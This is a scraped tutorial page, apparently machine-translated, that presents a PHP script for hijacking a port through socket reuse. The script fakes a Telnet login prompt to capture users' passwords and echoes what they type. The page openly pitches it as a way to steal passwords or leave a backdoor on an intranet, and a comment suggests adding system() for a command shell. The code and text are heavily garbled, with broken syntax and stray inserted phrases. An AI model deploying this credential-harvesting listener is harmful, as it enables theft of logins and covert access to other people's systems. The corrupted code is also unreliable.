PHP port multiplexing/hijacking _ PHP Tutorial

Source: Internet
Author: User
Implement port multiplexing and hijacking in PHP. If you listen to 127.0.0.1, the access to the common IP address is not affected, if you listen to the public IP address, 127. 0. 0. 1 and other IP addresses are not affected. This can be used to spoof user passwords, because the original service is unavailable. if you listen to 127.0.0.1, the access to the common IP address will not be affected. if you listen to the public IP address, you will see 127. 0. 0. 1 and other IP addresses are not affected.
This can be used to cheat user passwords because the original service is unavailable. Or leave it as a backdoor for intranet users.
Add MSN: CQXY [AT] 21CN. NET.
#! /Usr/bin/php (as the mainstream development language)-q
# C0dz by Darkness [BST]
# Team: www.bugkidz.org
# E-mail: cqxy [at] 21cn.net
If ($ argc! = 3 | in_array ($ argc [1], array (-- help,-h ,?)))
{
Echo "Use: #./$ argv [0] www.bugkidz.org 192.168.0.1 21 ";
Echo "c0dz By Darkness [BST]";
Exit;
}
Error_reporting (E_ALL );

Set_time_limit (0 );

Ob_implicit_flush ();

$ Host = $ argv [1];
$ Port = $ argv [2];
If ($ sock = socket_create (AF_INET, SOCK_STREAM, SOL_TCP) <0 ){
Echo "socket_create () failed: reason:". socket_strerror ($ sock )."";
}/* Create a SOCKET */
Socket_set_option ($ sock, SOL_SOCKET, SO_REUSEADDR, 1);/* Set the SOCKET connection attribute to SO_REUSEADDR to enable port multiplexing */
If ($ ret = socket_bind ($ sock, $ host, $ port) <0 ){
Echo "socket_bind () failed: reason:". socket_strerror ($ ret )."";
}/* Bind the port */

If ($ ret = socket_listen ($ sock, 5) <0 ){
Echo "socket_listen () failed: reason:". socket_strerror ($ ret )."";
}/* Start listening */


While (true ){

If ($ sniffer = socket_accept ($ sock) <0 ){
Echo "socket_accept () failed: reason:". socket_strerror ($ sniffer )."";
Break;
}
If ($ port = 23)
{
$ Txt = "Welcome to the Telnet Server ";
$ Txt. = "User :";
Socket_write ($ sniffer, $ txt, strlen ($ txt ));
}/* Here is the disguised information, disguise itself as the original TELNET server, so as to defraud the password */

While (true ){

If ($ buf _ read ($ sniffer ">=@ socket_read ($ sniffer, 2048, php (as the mainstream development language) _ BINARY_READ) = false)
{

Break;

}

If (! $ Buf = trim ($ buf )){
Continue;
}


If ($ buf =! Quit ){
Break;
}
If ($ buf =! Shutdown ){
Socket_close ($ sniffer );
Break 2;/* In fact, you can call system () to create a CMD Backdoor. you can change it anyway */
}

$ Sniff_data = "$ buf ";

/* Else socket_write ($ sniffer, $ sniff_data, strlen ($ sniff_data ));*/
Echo $ sniff_data;
/* Output string, which can be added for file processing and password storage */
}
Socket_close ($ sniffer );


}
Socket_close ($ resock );
Socket_close ($ sock );
?>

Listen, access to the total IP address is not affected, if listening to public IP, 127. 0. 0. 1 and other IP addresses are not affected. This can be used to cheat user passwords because the original service is unavailable...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.